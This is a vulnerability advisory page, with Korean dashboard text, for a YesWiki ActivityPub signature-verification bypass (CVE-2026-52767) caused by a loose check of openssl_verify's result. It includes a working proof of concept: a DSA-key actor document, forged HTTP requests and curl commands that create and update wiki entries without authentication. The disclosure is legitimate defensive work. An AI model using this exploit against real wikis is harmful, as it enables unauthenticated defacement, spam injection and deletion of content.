Kestrel
대시보드로 돌아가기
CVE-2026-52767HIGH· 8.2GHSA대응게시일: 2026. 07. 09.수정일: 2026. 07. 09.

YesWiki Vulnerable to Unauthenticated ActivityPub Signature-Verification Bypass via `!openssl_verify(...)` accepting `int(-1)`

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
8.2high

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한14일 이내CISA SSVC 기준

2주 이내 패치 — 우선 조치 대상

자동화 가능외부 노출· KEV 미등재 · 자동화 가능 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한불필요
사용자 상호작용불필요
범위불변
영향
기밀성 영향없음
무결성 영향높음
가용성 영향낮음
버전별 점수
CVSS 3.18.2HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L

상세 설명

Summary

HttpSignatureService::verifySignature() checks the result of PHP's openssl_verify() with a loose boolean negation - if (!openssl_verify(...)) { throw ... }. PHP's openssl_verify has four possible return values:

returnmeaning!return
1signature is validfalse
0signature is invalidtrue
-1the verify call itself failed (internal error)false
falseinput rejected by PHP's argument validationtrue

The -1 row is the bypass: PHP's truthiness rules make -1 a truthy value, so !(-1) === false, the throw is skipped, and the controller proceeds to processActivity(). Any condition that makes OpenSSL's EVP_VerifyFinal() return -1 triggers the bypass.

The two practical paths to -1 we are aware of:

  1. DSA / EC public key with an RSA-only algorithm. openssl_verify(..., $dsaKey, "RSA-SHA256") returns int(-1) on PHP 8.3 + OpenSSL 3.x. This is the path the PoC uses; it works against an unmodified php:8.3-apache lab and against any deployment using the runtime stack YesWiki's own docker image ships.
  2. Older PHP + older OpenSSL where any unrecognised digest name returned -1 rather than false. The reporting research mentions this path; on current stacks false is returned instead and the throw fires correctly. The DSA path replaces it.

The reachable consequence is the same in both cases - the controller silently treats a failed verification as success and processes the attacker's payload.

Details

Affected component

  • File: tools/bazar/services/HttpSignatureService.php
  • Method: HttpSignatureService::verifySignature(Request $request)
  • Sink: line 130
bash
1// tools/bazar/services/HttpSignatureService.php (v4.6.5 = origin/doryphore-dev HEAD)
2public function verifySignature(Request $request) {
3 ... // [Signature parse,
4 // outbound key fetch — see the SSRF advisory]
5 $actorPublicKey = openssl_get_publickey($actor['publicKey']['publicKeyPem']);
6 ...
7 if (!openssl_verify( // (a) LOOSE BOOLEAN CHECK
8 join("\n", $sigParts),
9 base64_decode($sigConf['signature']),
10 $actorPublicKey,
11 strtoupper($sigConf['algorithm'])
12 )) {
13 throw new Exception('Signature verification failed'); // (b) skipped when openssl_verify == -1
14 }
15
16 if ($request->headers->get('Digest') !== $this->getDigest($request->getContent())) {
17 throw new Exception('Digest mismatch'); // (c) still enforced — easy to satisfy
18 }
19}

The inbox controller calls verifySignature() and then runs processActivity($activity, $form), which is what actually mutates state.

End-to-end attack chain

A single unauthenticated POST per operation. No session, no CSRF, no real signature.

  1. Stand up an actor document that the attacker controls — any public web server (or webhook receiver) that returns a JSON body with the shape:

    text
    1{
    2 "id": "<exact URL the server will GET>",
    3 "publicKey": {
    4 "id": "<same URL>",
    5 "publicKeyPem": "<DSA public key in PEM form>"
    6 }
    7}
  2. Send a Create / Update / Delete activity to POST /api/forms/{enabled-form-id}/actor/inbox:

    http
    1POST /?api/forms/2/actor/inbox HTTP/1.1
    2Host: target.example
    3Content-Type: application/activity+json
    4Date: <RFC1123 date>
    5Digest: SHA-256=<base64(sha256(body))>
    6Signature: keyId="<actor URL>",algorithm="RSA-SHA256",headers="(request-target) host date digest content-type",signature="anVuaw=="
    7
    8{"@context":"https://www.w3.org/ns/activitystreams","type":"Create",
    9 "actor":"<actor URL>",
    10 "object":{"id":"<unique object URI>","type":"Event","name":"...","startTime":"..."}}
  3. YesWiki fetches the actor document (line 96 - the SSRF; see sibling advisory), parses it, calls openssl_get_publickey(...) which returns a valid OpenSSL key handle (DSA is parsed successfully), then calls openssl_verify($data, "junk-sig", $dsaKey, "RSA-SHA256"). EVP_VerifyFinal returns -1. The check !openssl_verify(...) evaluates to false and the throw is skipped.

  4. Digest header is enforced, but it's a simple SHA-256= of the body the attacker chose, so satisfying it costs one sha256sum.

  5. processActivity($activity, $form) runs: Create → EntryManager::create(), Update → EntryManager::update(), Delete → EntryManager::delete(). The triple store records the attacker's object.id as the source URL, which is how Update / Delete locate the entry on subsequent calls.

PoC

Pre Reqs

  • Yeswiki v4.6.5 lab image (Setup via podman)
  • ActivityPub enabled on the target form

For the rest of this document:

text
1BASE="http://localhost:8085"
2CTR="yeswiki-poc"
3KEYID="http://127.0.0.1:9999/actors/attacker"
4FORM_ID=2
5MARKER="DEMO_$(date +%s)"

PHP one-liner - runs against the exact PHP+OpenSSL the lab is using. Confirm that openssl_verify returns -1.

bash
1podman exec "$CTR" php -r '
2 $pem = file_get_contents("/tmp/attacker_keys/dsa.pub");
3 $key = openssl_get_publickey($pem);
4 $r = openssl_verify("hello", "junk", $key, "RSA-SHA256");
5 echo "openssl_verify returned: " . var_export($r, true) . "\n";
6 echo "!openssl_verify(...) is: " . var_export(!$r, true) . "\n";
7'

Expected output:

text
1openssl_verify returned: -1
2!openssl_verify(...) is: false

Verify the listener is up and serving the DSA-key actor

bash
1podman exec "$CTR" cat /tmp/ssrf_listener.pid
2podman exec "$CTR" ps -p $(podman exec "$CTR" cat /tmp/ssrf_listener.pid) -o stat=
3podman exec "$CTR" curl -s http://127.0.0.1:9999/actors/attacker | head -c 300; echo

Expected output: a PID, S (sleeping/alive), and a JSON document beginning with {"@context":"https://www.w3.org/ns/activitystreams","id":"http://127.0.0.1:9999/actors/attacker", ... and a publicKeyPem field whose value starts with -----BEGIN PUBLIC KEY-----\nMIIB... (the DSA key - note the Bv prefix typical of DSA-key DER, not the Ij of RSA).

Build a JSON Create activity that the Agenda form's reverse-semantic template can map (it expects an Event with name, content, startTime, endTime, location.address.*, etc.):

bash
1ACTIVITY='{
2 "@context": "https://www.w3.org/ns/activitystreams",
3 "type": "Create",
4 "id": "http://127.0.0.1:9999/activity/c-'"$MARKER"'",
5 "actor":"'"$KEYID"'",
6 "object": {
7 "id": "http://127.0.0.1:9999/objects/'"$MARKER"'",
8 "type": "Event",
9 "name": "'"$MARKER"' — created via the signature-verification bypass",
10 "content": "openssl_verify returned -1; YesWiki accepted us anyway",
11 "startTime": "2026-12-01T10:00:00Z",
12 "endTime": "2026-12-01T12:00:00Z"
13 }
14}'
15
16# Digest must equal SHA-256= base64(sha256(body)) - this header IS enforced
17DIGEST="SHA-256=$(printf '%s' "$ACTIVITY" | openssl dgst -sha256 -binary | base64)"
18DATE="$(date -uR | sed 's/+0000/GMT/')"
19SIG='keyId="'"$KEYID"'",algorithm="RSA-SHA256",headers="(request-target) host date digest content-type",signature="anVuaw=="'
20
21curl -s -X POST "${BASE}/?api/forms/${FORM_ID}/actor/inbox" \
22 -H "Content-Type: application/activity+json" \
23 -H "Date: ${DATE}" \
24 -H "Digest: ${DIGEST}" \
25 -H "Signature: ${SIG}" \
26 --data-raw "$ACTIVITY" \
27 -w '\n HTTP %{http_code}\n'

Now, try udating the entry via the same bypass

The triple store records <tag, sourceUrl, object.id> from the Create. An Update activity referencing the same object.id will look that up and rewrite the entry's body.

bash
1UPDATE_ACT='{
2 "@context": "https://www.w3.org/ns/activitystreams",
3 "type": "Update",
4 "id": "http://127.0.0.1:9999/activity/u-'"$MARKER"'",
5 "actor":"'"$KEYID"'",
6 "object": {
7 "id": "http://127.0.0.1:9999/objects/'"$MARKER"'",
8 "type": "Event",
9 "name": "'"$MARKER"'_UPDATED — title was changed by an unauthenticated POST",
10 "content": "this row was modified via the SAME bypass",
11 "startTime": "2026-12-01T10:00:00Z",
12 "endTime": "2026-12-01T12:00:00Z"
13 }
14}'
15DIGEST="SHA-256=$(printf '%s' "$UPDATE_ACT" | openssl dgst -sha256 -binary | base64)"
16DATE="$(date -uR | sed 's/+0000/GMT/')"
17
18curl -s -X POST "${BASE}/?api/forms/${FORM_ID}/actor/inbox" \
19 -H "Content-Type: application/activity+json" \
20 -H "Date: ${DATE}" \
21 -H "Digest: ${DIGEST}" \
22 -H "Signature: ${SIG}" \
23 --data-raw "$UPDATE_ACT" \
24 -w ' HTTP %{http_code}\n'

Expected output: HTTP 200, empty body.

Impact

CRUD on bazar entries of any ActivityPub-enabled form, without authentication:

  • Create - EntryManager::create($form['bn_id_nature'], $entry, false, $object['id']). New row in yeswiki_pages and a triple <tag, sourceUrl, $object['id']> in yeswiki_triples.
  • Update - looks up the entry via the source-URL triple and rewrites its body with the attacker-supplied content.
  • Delete - same lookup, then EntryManager::delete($tag, true).

Concrete operational impact:

  • Defacement / content injection at scale - a public-facing wiki with the Agenda or Blog-actu form federated becomes a publishing target for any attacker who can route TCP to the YesWiki host.
  • Spam / SEO poisoning through the Bazar entry body, which is HTML-rendered for the wiki and indexed by search.
  • Erasure of legitimate federated content - any entry previously created via ActivityPub can be enumerated through the public outbox endpoint, its object.id discovered, and then deleted by replaying the chain with type=Delete.
  • Triple-store pollution - the yeswiki_triples table grows with attacker-controlled sourceUrl triples that survive entry deletion and can interfere with later federation flows.
  • Reputation / federation poisoning - the wiki appears (to remote ActivityPub peers and to its own users) to be receiving signed content from a remote actor, when in reality anyone on the network can post.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.